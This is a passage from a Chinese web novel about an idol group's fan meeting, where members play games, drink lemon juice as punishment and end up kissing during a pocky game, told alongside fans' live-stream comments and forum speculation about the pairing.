方柏嘉虽然有些不服,但也确实说得口干舌燥,一直玩下去没意思,他同意了打平的提议,拎着分好的半杯干了,皱得眼睛都睁不开。 第二轮,换成丞绪和陆翰音比拼。 丞绪平时看起来是仅次于汤昼恒的温柔和善解人意,其实嘴巴挺利索,属于笑面虎类型,把年纪最小、又没什么心眼的陆翰音杀得片甲不留,哭丧着脸喝下了三杯柠檬汁。 最后是汤昼恒和杭泽宇。 开始的两个来回都没什么杀伤力。 汤昼恒做为团队里最年长的那个,绅士名声在外,本来就是不会对人说重话的性格。 杭泽宇虽然也有些坏点子,但毕竟年龄小,汤昼恒有队长威严压制,他看到就怂了,也不敢在对方面前造次。 【你俩在玩过家家呢……】 【好peace,这是一轮尊老爱幼的场合】 【感觉没什么意思啊,前两轮还刺激点,想来想去都不如直接让13来更带劲】 【???究竟是谁要害13姐,我们吃的苦够多了[微笑]】 战况始终不温不火,看出这两人的彼此谦让,丞绪开始恶魔低语:“一直打平局的话最后也要喝柠檬汁哦。” “不要啊!——”杭泽宇闻言,立即对着观众席惨叫,“我这个人超级不能吃酸,一定会被酸掉牙的!” “不行,我一定要想办法打败恒哥。” 说着,他像是下定了某种决心,忽然间不知想到什么,对着镜头羞涩一笑,状似扭捏道:“我有一个刚刚从江白树那里获得到的灵感,但是说好,你们听了不许骂我。” 汤昼恒不知道他要说什么,露出洗耳恭听的表情。 方柏嘉耳朵一竖,冷不丁感觉到不妙。 接着就听杭泽宇道: “虽然你表面上对方柏嘉客气又照顾,但其实你心里早就对他很烦很不爽,只不过碍于同事关系还有不想崩了你自己对外温柔好大哥的人设不好表现出来吧?” “喔——” 这个问题提出来,台下的观众席上顿时传出一阵惊呼。 声浪似洋流起伏。 杭泽宇在说完这话后瞬间露出惊恐的神色,好像知道自己讲出了不得了的内容似的,佯作虚脱一般“噗通”跪倒在地。 身旁几个队友也纷纷夸张地将嘴巴张大成“口”字,场面极其的戏剧化。 方柏嘉握着话筒愣愣站在原地,一脸倒霉又说不出的表情。 摄像机照来,良好的职业素养让他到这时都不忘配合地做出反应,举起双手耸了耸肩,扯起一边嘴角,脸上皮笑肉不笑,像是在说“这也能扯到我”? 【太敢问了,legend……已经失语】 【最legend和离谱的难道不是杭泽宇说完后摄像师立刻给了方柏嘉一个特写,你们公司从上到下都疯了是吧】 【够了怎么一个两个都拿他们这件事开玩笑,我在屏幕前呼吸不过来了啊啊啊啊】 【我现在越来越困惑了,这到底是有剧本还是现场发挥的,如果是剧本我只能说scxl为了炒热度无所不用其极,如果是真的……不说了我先去吸氧缓缓[拜拜]】 【姐们儿看看哥几个的表情像演的吗,这个团除了tzh哪有演技好的,老幺团内第三高的个儿都直接跳丞绪身上去了】 【我看你们树妈和宇妈是真的想被小行星小方糖广场三日游了】 【不!!关键这关我们粉丝什么事,明明是正主自己作死,请小行星小方糖明鉴!!!】 【难道不是小行星和小方糖马上要在彼此的广场上打个三天三夜吗?】 【真怕不不现场发飙……】 【好好奇老哥的回答啊,感觉1要回答偏一点今晚热搜+广场+论坛直接爆炸】 汤昼恒听完也怔住了。 原本半举在小腹前的麦克风稍稍上移一点,又在胸口处停顿。 他歪了歪头,像觉得这个问题很是棘手,先是蹙了蹙眉头,随后似乎很不可思议地“呵”一声笑出来。 这期间场下的喧嚣不停。 方柏嘉一颗心几乎提到嗓子眼里。下意识不敢去听,又想去听。 思绪拉扯间他感到自己浑身僵硬,方柏嘉低下头,佯作无意又放松地瞧着前面杭泽宇的鞋尖,其实两只耳朵全竖起来,心惊胆战地听着周遭的动静。 汤昼恒在原地足足思考了好几秒,犹如放空。 丞绪又临时发挥了半个控场主持人的作用开始催促:“再不回答就算你输咯,给你五秒。五,四……” 他伸出手指比数。 才说到四,汤昼恒便做出了抉择。 他手臂垂落,放下手中麦克风的瞬间,台下的观众里就已有少部分似有所感地发出惊叫。 汤昼恒一脸无可奈何地转过身去,甚至没等倒数结束,自己已然率先放弃,二话不说走向一旁放道具的木桌,要做什么十分明显。 丞绪举着麦一脸意外:“就这样啦?不挣扎一下?” 汤昼恒边笑边摇头,说不出是苦笑还是什么,拿起一杯满杯的柠檬汁递到嘴边。 江白树在旁边满脸不怀好意地用手戳了戳方柏嘉,被他炸着毛地拍开,把麦拿开,低斥一句:“别闹。” 脸上热得像要出汗。 刚才配合表演是真的,听到那话时心里重重咯噔了一下也是真的。 等待汤昼恒回答时仿佛遭受凌迟是真的,看到他作出决定后毫不犹豫去拿柠檬汁时松了口气、又像灵魂骤然腾空般百味杂陈更是真的。 心脏砰砰狂跳,方柏嘉面上不语,怕自己脸上的表情暴露太多,甚至不敢直视汤昼恒所在的方向,只能盯着正前方的虚空一个劲地猛瞧。 假装发呆的空当里,他忍不住用舌尖悄悄舔了下后侧臼齿凹陷下去的纹理,上面还残留着新鲜柠檬汁那让人尝了能猛打一个哆嗦的味道。 好酸。 台下的呼声彻底掀起,变成刚才的几倍。 汤昼恒在这阵近乎起哄的叫喊中靠在桌子边缘,面对着舞台下方的人群,默不作声地开始喝手里的果汁。 【不愧是哥……】 【不愧是哥】 【不愧是哥+1】 【卧槽tzh这一瞬间老公感爆棚啊,不不遇到这样能包容你小脾气的男的你就嫁了吧】 【救命,为什么我突然看得心软软了……好诡异的一种感觉】 【导播这会儿又不给力了,这时候不切个老三近景你想啥呢】 此刻,这位位处在全场视线中心的alpha喝得很快,怕味道在口腔里留存太久,让舌头上的味蕾反应过来,汤昼恒屏住呼吸,几乎是一口气地,两三秒就灌到了底。 他不像其他人,喝得呲牙咧嘴,脸上表情沉静,只是微微蹙眉外加眨眼,神情专注也像神游天外。 到最后整个头都随着见底的一次性塑料杯朝上仰起,露出干净滚动着的喉结线条。 喝完,他冲前方展示了一下空着的杯子,这才露出稍许被酸到的表情,举起手麦,说出自己从刚才到现在的第一句话:“我认输。” * “当然了”游戏的第三轮之争就这么毫无争议地落下帷幕,结束后几个人站成一排开始“滑跪”,什么我们刚才都是开玩笑的啦,为了节目效果不要当真之类。 方柏嘉举着话筒严肃道:“虽然江白树某些地方的舞姿确实比较滑稽,但我作证,相比起我们第一次练舞,他已经进步很多了。” 他一头淡彩色的头发,单手插兜说话时显得又酷又拽,跟特意装逼似的,搞得江白树在旁边捶了他的肩膀一下,其实方柏嘉的心思还沉浸在之前的情景里,都没怎么反应过来。 众人又缓了一会儿,接着进入到下一个游戏环节。 这是一个跟体能挂钩的比赛,需要队员们动起来。 他们在上一个游戏开始前就换上了相对休闲的衣服,方便伸展四肢活动。游戏进展得很快,二十分钟内就结束了战斗,弹幕和各个平台上却基本都在吐槽。 【懒得喷见面会的策划,非要在舞台上玩这么危险的游戏?既然要玩不能好好准备一下防护措施,从那么高的台上掉下来都快摔到垫子外了,这都什么跟什么?】 【燈现在毫无疑问是scxl最能赚钱的台柱子了吧,居然搞这种圈钱的活动还这么敷衍又草台班子,看出来组合这次回归是新团难产后临时决定的了,除了歌和mv其他就是一坨[白眼]】 【我天刚才老一和老三一块摔下来那一下看着好疼,没看错的话1的手还在地上撑了一下,这么大冲击力没事吗[惊呆]】 【这个游戏设置的就有问题,总共就那么大点地方还要几个人都站上去挤,5爬不上去差点被人一脚踩脑袋上了都】 【姐们儿想看刺激的自有去处,别把六个燈给我玩死了】 …… 从台子上掉下来的时候,方柏嘉的第一反应是慌张。 然而他背朝地面,身前又刚好是和他面对面的汤昼恒,两人相隔太近,短短一秒向下坠落的过程里,方柏嘉连换个蜷缩起来保护自己的姿势都不太能够。 预感到接下来即将承受的重量,紧急时刻,方柏嘉用尽最快的反应速度将双手护于身前,挡在自己和汤昼恒的中间,想尽可能地躲避和缓解一些磕碰。 一阵天旋地转后,他的后背砸在了护垫上。 以为汤昼恒下一秒就要重重摔向自己,方柏嘉下意识朝一旁侧头躲避。 对方却在这三分之一秒内及时地伸展手臂,猛地收住向下冲的力道—— ……居然停住了。 没有迎来想象中的“痛击”,方柏嘉意识到什么,重又转过脖颈。 汤昼恒的鼻尖距离他自己的鼻梁只有不到两三公分的距离,方柏嘉一回过头,来自那人的淡淡呼吸立刻洒在他的面部。 对方以一种在最后一刻堪堪停住的姿势跪在他的身上,狼狈中不失有序一般地,高大瘦挑的身形整个笼罩上来,双手就撑在他的脸侧。 不知道是不是错觉,方柏嘉感觉自己刚刚听到了汤昼恒发出的一声近似闷哼的鼻息。 那声音若有似无,不确定究竟是方柏嘉的想象,还是真实存在。 这样的姿势只维持了短短的两秒。 头顶指向的远处传来不少粉丝的低呼,两人反应过来,纷纷有了动作。 “砸到你没有?”汤昼恒看起来很冷静。他定了定神,很快从方柏嘉的身上爬了起来,朝下方的人伸出手。 方柏嘉愣了一下,慢慢摇头,从地面上坐起来,就着汤昼恒的手掌借力站起。 趁着二人凑近之时压低声音,别扭又迟疑地轻声问他:“你的手没事吧?” 汤昼恒看似轻描淡写地摇了摇头,没说什么。 * 时间不停流动,来到见面会的末端。 倒数第二个节目,是粉丝互动环节。 成员们通过抽签分成三组,每组两人,再从现场随机选择九名幸运观众,分别加入到三队当中,和他们一起玩“肢体传声筒”的游戏。 方柏嘉这回又和江白树一队,不过不太走运,游戏最后统计三组最后的得分,是丞绪和杭泽宇所在的那组获得胜利。 三名粉丝领完奖品,本以为这个部分就结束了,没想到主持人紧接着突然宣布,这局游戏没赢的人要接受惩罚。 “你们有没有发现,我们今天准备的柠檬汁还剩好多没有喝完?”主持人语气隐隐带着兴奋。 话音落下,旁边立刻就有工作人员将不久前才抬下去的桌子又搬上来。 没想到见面会的策划这么物尽其用,还要折磨他们,见状,台上的众人都开始惨叫。 “不是吧,又要喝?” “你们也有机会不喝。”主持人笑容核善,也不管成员们“怨声载道”,自顾自地读起了台本。 “是这样的,刚刚只有获胜组的粉丝获得了我们的幸运礼物。现在我灵机一动,想到可以让输掉的两组粉丝也拿到奖励的方法。你们两队刚好有四个人,两两结队进行pocky game,只要达到规定的长度,不仅可以不用喝柠檬汁,还可以给你们队的粉丝送上大礼,弥补她们的遗憾。” “如果没按要求吃完pocky,那就算你们挑战失败,只能接受惩罚。” “我们的这个最终特别惊喜惩罚是,当当当当,超大杯柠檬汁!——” 随着主持人的指示,工作人员双手高举起一只看样子装了先前3-4杯柠檬汁那么多量的巨大玻璃杯,向台下示意。 都已经做到这个份上,险恶用意再分明不过。 单纯只是喝柠檬汁,似乎也不是完全不能忍受,但事关粉丝的福利,不迎接挑战就说不过去了。 就连陆翰音都小声吐槽:“我们公司是要破产了吗?” 【孩子你说的什么大实话】 【看出来哥几个都是O性恋了,一个个的什么心如死灰的表情笑死】 【感觉回去后会在车上骂钱难挣屎难吃】 【卧槽这是34f和16f的福利局吗】 【13姐刚才还在得意现在又要陷入深渊了】 【?不是,你们策划这个游戏的时候有没有想过不是所有人都嗑一样的cp,老娘花了五千多从hn那里买的票不是为了看我cp和别人亲密互动的!!!】 【hhhhh我tm笑死是谁在台下嘶吼“对家不许亲!!!”】 【这也是我的心声】 【这个消息一出来观众席兴奋的尖叫和绝望的哀嚎混成一片……】 【完了,感觉要被创死了我先撤】 主持人一宣布完规则,台上的几个人脸色多少都有点变化。 因为赢了游戏而可以置身事外的丞绪和杭泽宇都露出了看好戏的揶揄表情,至于其他四人,则各有各的凝重与严肃。 汤昼恒很谨慎地问:“长度要求?这是按什么决定的?” 话刚说完,就见刚才负责抬桌子的工作人员又去了台下,分别拿了个巨大的骰子和一盒巧克力棒上来。 主持人道:“扔骰子。数字代表相应的厘米数,扔到1,你们就必须把pocky吃到中间只剩一厘米,其他数字以此类推。不要说我没有对你们网开一面哦,这都看运气。” “那就从你们两个开始。” 被指到的方柏嘉一愣,和身边的江白树对视一眼,脸上不情不愿的表情像是在说:我们? 纵使心中再怎么万马奔腾,不乐意也不能表现得太明显,不然显得他不够敬业。 方柏嘉出列站好,被主持人问谁来投骰子。 其实都无所谓。 方柏嘉此刻大脑处在一种空洞的茫然状态,闻言也没大反应过来,让江白树上了。 他投出了一个“2”。 现场又是一阵低低的惊呼。 方柏嘉看到结果立刻闭上双眸,怕自己当众将黑眼球转到后脑勺。又不敢相信人会这么倒霉,片刻后睁开眼,对着地上的骰子用力眨了好几下眼皮。 没用,数字依然没变。 “那来吧。”江白树耸耸肩向他示意,一副已经认命了的样子。 方柏嘉做了一会儿心理斗争,麻木地走上前。 pocky的长度本来也没有很长,方柏嘉凑上去后人已经僵硬了,心中翻江倒海、有一万句脏话飘过,耳边只听主持人说了句开始,江白树便没有任何缓冲地朝他这边动了起来。 ……这什么鬼! 对方的脸以肉眼可见的速度在向他靠近,方柏嘉眉心一跳,脑子里有根弦啪地断了,只勉强咬了pocky一口就受不了,赶忙用手指捏住自己这边的巧克力棒末端,把嘴巴解放出来,脑袋向着一旁拼命后仰。 条件反射、口不择言地道:“滚开啊!” 他一脸的嫌弃,在那一刻本能还是战胜了偶像的职业素养和理智,让方柏嘉没法做出违心的举动。 才喊出那句,说什么也不干了,又向后退了好几步,一直走到两三米开外的位置,逃难一般远远看着台上的人。 江白树嘴里仍咬着那根吃了几口的pocky,头几秒根本没回过味来。 听他这么说,才将巧克力棒从口中拿出,一脸不可置信道:“你居然嫌弃我?我都没嫌弃你你嫌弃我?!” 方柏嘉哼了一声,面不改色心不跳地倒打一耙:“你有什么好嫌弃我的?变态啊你吃这么快,早就想偷亲我了吧?” “哎你这人——说话要讲道理!”江白树凭空蒙受不白之冤,眼睛瞪得更大,说着就要上前和方柏嘉理论。 结果还没迈出几步,就被一只中途从斜侧方伸出的、游刃有余地搭在他肩上的手给拦住。 江白树回头一看,是汤昼恒。 对方做出这个动作时甚至没怎么看他,好像只是随手一搂,两下就把他给带回原位,像大人安抚小孩儿似的示意他站好。 江白树:“……” 主持人在旁边看看这个,看看那个,清了清嗓子:“所以你们还要接着挑战吗?” 方柏嘉见他似乎态度松动,试探着道:“不要了吧,我看见他那张脸就瘆人。” 他是真不想和江白树玩这个。 “不要就不要,”江白树冷哼,“说得跟我乐意似的。” 主持人:“那这样,你们这组就算挑战失败,给粉丝的奖品就没有咯。” “——但是话又说回来,”江白树开始和主持人battle,“这个不是我不愿意,是方柏嘉他不配合好吧?你不能不因为一个人的错误就搞连坐,我是很有给粉丝赢礼物的意愿的。” 方柏嘉见势不对,紧跟着接话:“我也不是不愿意啊,但是看到你那张脸我确实……” 他做了个一言难尽的表情。 “那怎么办?”主持人说,“你俩是确认不和对方一起挑战了,对吗?” 方柏嘉侧眼觑了对方一下。 尽管不知道主持人打着什么旗号与主意,但也确实觉得自己承受不了那么大的刺激:“对。” 江白树见他这样,也不甘示弱道:“对,和谁一起都不和他。” 【绝了34还是这么爱互怼】 【看来今天34f不会如愿咯】 【我怎么突然有种不详的预感……】 主持人沉默了,像是考虑一下才道:“现在有一个办法,是你们四个人可以穿插着来,不一定非要和自己那组的队友一起。只要两组都完成了任务,六名粉丝还是能拿到礼物。可以吗?” 江白树一听就双眼泛光:“可以!那我和陆翰音做。来,弟弟,哥知道你不会嫌弃我,你是一个小天使……” “啊?”被点到名的陆翰音愣了一下,紧接着也反应过来,突然兴奋,“好诶!” 他径直朝江白树那边奔了过去,两人同盟哥俩好似的搭着肩。 “刚好我也不想和队长……” 丞绪一听,立刻好奇地探出脑袋:“为什么?” “因为和队长在一起压力太大了,”陆翰音小小声地说,因为不好意思,还悄悄吐了吐舌头,“还是树哥平易近人一点。” 【大家好让我们一起把#汤昼恒帝王1 打在公屏上】 【救命老一在这个团里真的是严父级别,感觉大家除了老二真的都或多或少有点怕他】 【ls确定没把老三说漏?】 【老三也怕啊,只不过老三是比格,又怕又爱干】 【老幺那句话的意思难道不是在说老哥长得太帅让他压力大?】 【#tzh 太阳一样让人无法直视的男人】 【楼上的够了】 江白树“啧”一声:“我怎么感觉你在骂我?” 陆翰音嘿嘿笑着装傻。 有先例在前,主持人又问一遍:“你俩确定要在一起是吧,不改了?” 两人都坚定地点了点头。 方柏嘉站在旁边看完这一幕,心里咯噔,咯噔,咯噔。 总之咯噔了好几下,没想到事情居然会是这个走向。 我操。 这么一说,他接下来岂不是要和—— “那现在剩下的就是,我们的……队长,还有,柏嘉?” 主持人张口替他把话说了。 第37章 第 37 章 你们卖腐卖得太严重了。…… 他这句话是分成几段讲完的。 才说到一半, 台下就又因为猜到了接下来的内容而发出惊呼。 尖叫的人太多,主持人每吐出两个字都要停顿一下,怕声音的浪潮把话筒传出的声响盖过。 脸上也是一半调侃一半不解, 调侃是猜到他们为什么而发声,不解的是大家为何反应如此激动。 他不明白, 方柏嘉可明白,台上的成员也都明白。 一时间, 事不关己的队友们脸上都或多或少地露出了看热闹不嫌事大的奇异微笑。 方柏嘉恨不得找个地缝钻进去, 甚至还没做什么, 脸上就已匆匆开始发起热。 主持人分别看向被提到的两个人:“你们二位有异议吗?” 还能怎么回答? 方柏嘉心里大骂江白树中途抛弃他不够义气, 却也知道这只是他恼羞成怒找的借口, 毕竟一开始也是方柏嘉先“叛逃”的。 说出口的话就如同泼出去的水, 现在总不可能再说“我又后悔了,其实我还是想跟你一起”。 何况。 方柏嘉纠结地想,他是真的很嫌弃和别人玩这个啊! 倒不是针对江白树, 方柏嘉就是单纯不习惯和其他人做这种带有暧昧色彩的近距离接触, 整蛊游戏也不行。 汤昼恒…… 方柏嘉都不知道这时候让汤昼恒来顶替江白树的位置算好算坏了。 他一咬牙, 硬着头皮、神色不大自然地道:“……没有。” 余光里,汤昼恒似乎耸了耸肩:“我都可以。” 都可以? 听到这里,方柏嘉心里不由古怪地嘟囔起来。 让你和陆翰音嘴对嘴咬饼干也可以啊? 真挺能装。 不是我的话倒要看看你等下怎么收场。 不知道为什么, 方柏嘉下意识地笃定, 相比起陆翰音,汤昼恒肯定更愿意和他来。 台下的叫声还在持续,一阵接着一阵。 江白树一拍大腿道:“让他们先来!我看出来了,败笔就出在方柏嘉身上,忒矫情。等他俩做好了我们再做,免得费劲巴拉吃完了又不行。” 后面这话是对陆翰音说的。 方柏嘉这回没有忍住, 回过头彻底地白了他一眼,却也没反对。 在这种事情上争先后没意义,早弄完早结束。 由于上一轮江白树实在手太臭,竟然roll了个2出来,差点让他失去清白,方柏嘉这回决定无论如何都得将命运掌握在个人手里,在主持人又一次问谁来扔骰子时自己上了。 他抱起两只手都合握不住的巨型骰子,扔的时候特意注意了下6的位置在哪,心中默默打气之后,忐忑地向上一抛。 骰子落地,轻巧地滚动。 所有人都随着方柏嘉的动作一起屏住呼吸,直到两秒之后,方形物体停止转圈,露出来大大一个“1”正面朝上。 “……” 现场先是沉默,随后爆发出比刚才还高的声浪。 “一厘米?!”江白树语气夸张地四处张望,佯作不懂,“一厘米是多少?” 杭泽宇举起食指和大拇指比划出一段:“就和指甲盖的宽度差不多?嘶——很刁钻啊。” 一时间,打趣的、鬼叫的声音源源不断,从方柏嘉根本分辨不出方向的各个角度传来。 方柏嘉:“。” 人麻了。 在主持人的声声催促下,他挪着仿佛灌了铅的步子走到汤昼恒身边,和对方面对面地站好。 方柏嘉先前都没好意思看对方,这会儿人都到跟前了,才不得不抬起头来,仓促地和那人对视。 只见汤昼恒抽出一根巧克力棒,将一端用牙齿轻轻叼住。 意识到距离还是远,他又朝方柏嘉挪动半步,小幅度地倾身向前。 齿尖轻碾,那根外边包裹着一层巧克力的细长条棍状物也跟着上下地动,差点晃花了方柏嘉的眼。 他定了定神,尽量在面上表现得自然,也将巧克力棒的另一端咬在嘴里。 上下齿尖才碰到pocky表面,观众席上就传来不知哪个粉丝扯着嗓子发出的呐喊。 嘹亮的一声,让方柏嘉没等开始就闹了个大红脸,手心也沁出一层软汗。 江白树又在一旁捣乱:“某位同志这回还会不会中道崩殂呢?让我们拭目以待。” 方柏嘉含着东西,没好气地侧头飞去一个眼刀,冲主持人比了个“可以”的手势。 对方一声令下,方柏嘉垂在身边的手立即捏住了附近的裤子面料,头皮一紧心一横,视死如归地小口咬起嘴里的零食。 出于某种拘谨,两人都吃得不快,动作堪称斯文。 然而一根pocky总共也就那么十来公分的长度,方柏嘉和汤昼恒在两边同时发起进攻,没几口就吃了大半。 眼见那人身形贴近,方柏嘉的心跳也愈渐变得嚣张。眼睫迅速扑闪,僵硬地盯着旁边空无一物的地面。 两三秒的功夫,两人的鼻尖已经快挨到一起。 一瞬间方柏嘉呼吸都放缓了数倍,视野中那人凑近的面庞几乎融化成一团模糊的色块。 台下一侧是随着他们的靠近而变得震耳欲聋的叫嚷,身前是他自己如同奏鼓般的心跳。 背上的汗冷热交替,有一刹那方柏嘉像是灵魂出窍。 这对他来说还是有点超过了。 尤其是在这么多人面前。 汤昼恒恰在此刻呼气。 一缕潮湿气流从他唇间溢出,触角一般轻轻抚碰对面之人的嘴唇。 方柏嘉耳朵尖一抖,察觉到热源距离自己只有不到两三公分的距离,心中警铃大作。 忽而像才清醒过来、意识到自己在做什么似的,冷不丁仰头往后避了避。 这一动,场馆内部立刻哗然。 汤昼恒察觉到他离去,从鼻腔深处发出一声只有两人能听到的“嗯?”,眼神还未能聚焦。 方柏嘉视线拉远,看见他干净俊朗的脸上一派淡淡的茫然,口中留着短短一截两指宽度的巧克力棒。 激动的何止台下的观众,其他几个队友见到这一幕都大叫起来。 陆翰音疯狂提醒:“没吃完!没吃完!还差一点儿!” “我就知道他不会好好做完。”杭泽宇双手抱臂地吐槽。 主持人见状飞快道:“哎——如果这样的话挑战不算数的啊,礼物要没……” 三个人的声音几乎重叠在一起。 “没”后面的字还没说出口。 观众席上的粉丝们像是看到了什么,睁大了眼睛惊呼起来。 原来是一直徘徊在旁边的江白树再也看不下去,忍无可忍地从后面推了方柏嘉一把。 说时迟那时快。 背后肩胛处猛一阵力道袭来,方柏嘉毫无防备,当即向前扑倒在汤昼恒身上。 刚刚才和对方拉开的几公分距离又在顷刻间消弭殆尽,alpha柔软的嘴唇这下终于没有任何空隙地和另一个人狠狠撞在了一块—— 惩罚环节的开始,任谁都没料到事情会是这样的发展。 全场的声音静止一瞬,下一秒开始此起彼伏地欢呼。 【我草我草我草!!!这是我仅仅花了十五块八就能看到的内容吗[惊恐][惊恐][惊恐]】 【开场前我还在和朋友吐槽破公司真会赚钱连开个见面会都要割一波线上韭菜,原来是有惊天大福利,scxl是我错怪你了[大拇指]】 【我的妈呀今天这是怎么了……现在有人告诉我明天就是世界末日我也信,这已经不是碳基生物能看到的景象了】 【感觉是方舟批做饭都不敢写的程度】 【13的高鼻子都是真的,鉴定完毕】 【ls关注点氢气】 一同撞在一起的还有两人的鼻梁。 看见方柏嘉朝自己倒来,汤昼恒下意识搂住他的腰做了个缓冲。 即便如此,因为反应时间不够,还是不能完全避免磕碰。 酸痛感出现的那一刻,方柏嘉止不住蹙起眉头。 突然出现意外情况,他条件反射地想要抵抗,然而江白树就像是料到他会这么做,推他一把还不够,甚至还直接上手按住了他的头,让方柏嘉想动都不行。 这真的是…… 完全被架上去了。 方柏嘉无奈中感到一丝荒谬的好笑,刚巧听了主持人的话,他不再挣扎。 反正亲都亲上了,江白树也不让他走,方柏嘉索性歪了歪头,调整自己与汤昼恒之间的姿势,借以让两人的鼻子互相嵌合,不再打架。 然后,他感受了一下唇间的触感。 冲撞间汤昼恒嘴里那一小根剩下的pocky完全歪到一边,几乎快被外力顶得整个嵌进唇缝,方柏嘉的唇瓣能触到一点露在外头的坚硬边缘。 想到自己接下来要做些什么,方柏嘉双颊一热。 侧头的姿势方便他暗中动“手脚”,方柏嘉伸出一点舌尖,做贼一样飞快在汤昼恒的唇间探索起来,舌肉浅浅抵进对方的唇齿缝隙,从右到左地滑动,很快就勾到巧克力棒的末端。 在几乎掀飞场馆屋顶的尖叫声中,他舌头轻巧一挤,把没剩几口的pocky扶正,含进口中,唇肉全程和汤昼恒互相碾压。 后脑勺叫江白树压着,他不方便行动,只能就着这个和面前的人接吻的动作,胡乱地咬上一口。 【我没看错吧,不不刚才是不是伸舌头了……他嘴巴贴上去的时候有一个好明显的张嘴+脸颊凹陷的动作,救命!】 【你没看错,我有个专门连麦看直播的13小群,刚刚播到这一幕我们都疯了一直在尖叫啊啊啊啊】 【woc这两个人玩这么大,私下亲嘴多少回了悄悄告诉我[勾手指]】 【现在我是真的有点害怕了,什么样的强制营业能让两个关系不好的直A舔对方嘴巴,13你们卖腐卖得太严重了】 这下怎样肯定都比1厘米短了。 酥脆的咀嚼声爆开,方柏嘉同时举起手,示意自己已经如实地完成了任务。 江白树在他身后看不见,将信将疑地问其他人:“他好了吗?” 众人一个个都探头探脑,从后边和两侧走到舞台前方观察。 汤昼恒后退半步站定,两根手指探到唇间,将那仅剩的短短一小截拿起来展示。 主持人打量两秒,长出一口气:“好!终于挑战成功了,真不容易——” 方柏嘉脸红得不能再红,不等主持人话音落下,转身便要去揍江白树。 对方见势不妙,拔腿就跑。舞台上顷刻乱成一团,大家一番好说歹说才把两人拦下。 大仇得报,江白树梗着脖子幸灾乐祸:“我这是帮你速战速决,谁让你磨磨唧唧的。” 【老四好样的】 【34f这下是真的心碎太平洋了,本以为产品迎来世纪大糖结果正主直接拱手让人】 【草啊从没见过老三娇羞成这个样子,这还是那个日天日地的比格吗……怎么会有人化了妆还能看出来这么明显的脸红】 【以不不的性格居然没有当场血溅三尺以头抢地,真是罕见】 【往好处想,说不定他乐在其中呢[思考]反正我和讨厌的人亲嘴不会脸红】 【好想知道现在13唯粉的心情】 方柏嘉报仇无果,气得脑门直冒烟。 又被台下的起哄声闹得局促,深感自己的对外形象无望,在台上绕行一圈,最后耍赖似的蹲下来,把下巴埋进两个膝盖间的位置吐气。 汤昼恒倒是看起来镇定自如很多,全程没什么大表情大动作,被其他人调侃时还状若不经意地微笑,只有两个红红的耳朵尖暴露了他同样起伏的心绪。 一时间场上场下热闹非凡,几乎有好一会儿完全失去控制。 众人笑闹了一阵,这才放过二人,开始走最后的节目流程。 论坛却就此进行了为期几天的刷屏。 【笑死,回看直播挖到好东西了,有谁注意到34咬pocky的时候1就站在他们他们身后中间的位置直勾勾地看着他们(嘴里的棒)[动图.gif]】 【不知道为什么这个图里的哥给我一种一旦发现两个人真要亲上了会立刻上手从中间斩断的感觉】 【不用感觉,就是,没发现3受不了躲开的那一刻1整个人的表情都爽朗了吗,前面面无表情神色超凝重,后边还笑出来了】 【哥就这种有点淡淡坏水但是表面又阳光大狗的s感爽】 【既然如此谁来给哥做个对比图。看到老婆要和队友做游戏:面无表情仔细观察,看到老婆自己躲开了:装作正常地暗爽偷笑,队友想上前理论(?)还给拦住了,歪屁股也太明显了吧】 【此伯就这样不经意偏心偏到天涯海角】 【都说pocky game没有人来回味复盘一下当然了吗,有没有人和我一样,相比起亲上了这样的大糖更喜欢问答环节那里两个人的反应,像小说情节一样……感觉有很多可以细品的地方[流口水]】 【我懂!咬饼干亲嘴是直观的视觉刺激,乍一看很兴奋但其实就是流程卖腐,只不过刚好赶上他俩凑一对还很戏剧性地亲上了,没什么唯一性。但哥宁愿喝柠檬汁都不肯当着比的面说当然了这才是真正直击心灵的糖(?)含蓄又内敛,让人不由得感叹一句他好爱】 【嗑到了。其实吧这种游戏场合就算顺势说出真心话也没事,毕竟惩罚摆在那,说自己不想输也解释得过去,说白了当明星的比咱们正常人的接受度和羞耻度不在一个水平线。但即便这样1都没忍心当着3的面说“当然了”除了知道3那种性格听了一定会伤心多想不想让他难过外还能有什么别的理由呢(耸肩)】 【老哥的反应最好品的难道不是听到5说出这句话后立刻看了眼不不的表情吗,我说他是在确认不不的状态没人反驳吧,这种下意识的关怀不要太温柔】 【其实我觉得今天这场的表现也可以说明他们是真的关系还不错,如果不不和老哥私底下真有那么紧张成员们不会开这种玩笑的,毕竟3这种随心所欲的奇葩一个团里只能有一个,能当面在台上说出来就说明成员们也觉得这种传闻很逗乐[笑哭]】 【确实,有点六个燈已经出道四年了的实感了,一般新人团谁敢这么说话(。)】 【震怒了,谁说亲嘴(x)环节没有值得细品的内容,谁说亲嘴没有唯一性,我要闹了!!你们忘了惨遭不不嫌弃的老四了吗,老三那么龟毛的人前脚刚抛弃完4后脚就乖乖和哥做上任务了怎么不能说是双标,抗拒谁都不抗拒自己老公是吧[666]】 【我说对啊,老三前后对待老四和老哥的区别态度就是超好品,还是那句话,如果3真有传闻中(?)那么讨厌老哥怎么会心甘情愿听从安排和1玩这个游戏,不管怎么看4还是比1好一些的吧,起码没有那么尴尬。他能拒绝和4卖不能拒绝和1?3这种性格真不想做谁能逼得了他啊。】 【呵呵我看这个比说不定内心暗爽得要死(不管了造谣一下】 【本来的事,是因为1的部分太炸裂了导致你们忘了3也有一个和1相关的话题吗,具体你们可以参考一下其他问题的回答,众所周知3的情商很弹性,如果真的只是为了赢不不完全有能力在后面再补一句把话圆上,然而他这么不服输的人回答了一句“当然了”后就再也没有下文这河狸吗?】 【传下去,不不暗恋老哥】 【今天的方舟真是全方位的好嗑,灵肉结合(不),刺激的走心的全都有,这下应该不会有人说13是模版卖腐了吧】 【想多了,wf和拆家粉只会说1性格就是这样】 【还是不理解为什么会有人会把这个当糖嗑,就像劳务说的那样,劳役的人设就是这种温柔好大哥,真说了形象也就崩了,大家都会知道他是个斤斤计较的人。何况上次出了老三那回事公司对他们肯定看得更严,老三发脾气不讲武德但劳役毕竟是队长,不可能像他一样不考虑后果,综合各种来看不管劳役本来心里怎么想的明面上也当然不可能说出这句“当然了”】 【看,上边这个就是】 【不儿怎么到现在还有人说老哥是老好人,咱们追的是一个燈吗,还是你们真的觉得哥是那种不管别人对他怎么差劲他都无所谓的受气包?建议这么说的去重温一下老哥的内涵名场面之“听说他现在过得很差”清醒一下】 【新粉,这是什么!!!入坑半个月竟然没听说过】 【是老一以前还在单纯演戏的时候和其他人的beef啦,那会儿他还没名气,打工数年遭遇了各种小演员能遇到的离奇事件,其中有一件事就是他当时被同组知名大前辈演员刁难。 